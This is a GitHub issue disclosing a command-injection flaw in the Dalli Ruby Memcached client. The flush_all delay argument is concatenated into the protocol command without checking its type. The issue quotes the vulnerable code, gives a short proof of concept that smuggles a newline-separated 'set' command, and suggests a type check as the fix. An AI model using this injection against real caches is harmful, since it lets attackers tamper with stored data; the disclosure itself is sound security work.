Skip to content

Meta protocol flush_all method is vulnerable to code injection (Lack of input type check) #932

@xhzeem

Description

@xhzeem

Hi there,
I'm a security researcher currently doing research on Memcached wrappers vulnerabilities. I was doing some source code reviewing on your wrapper and noticed that the flush_all method on the meta protocol takes a delay value and passes it to the server without any checks, which can be used to smuggle commands to the Memcached server if an attacker has control over the value passed to the flush_all method.

def flush(delay = 0)
write(RequestFormatter.flush(delay: delay))
response_processor.flush unless quiet?
end

def self.flush(delay: nil, quiet: false)
cmd = +'flush_all'
cmd << " #{delay}" if delay
cmd << ' noreply' if quiet
cmd + TERMINATOR
end

Proof of Concept

require 'dalli'

# Proof of Concept by @xhzeem
$mcmeta = Dalli::Client.new('localhost:11211', protocol: :meta)
$mcmeta.set('xhzeem','meta')
$mcmeta.get("xhzeem") # b64_if_reg_match(\s)
puts $mcmeta.flush_all("\nset xhzeem 1 1000 8\ninjected") # :D

Suggested Fix:

You should just add a simple check for the delay type and confirm it's a number or keep the 0 value.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions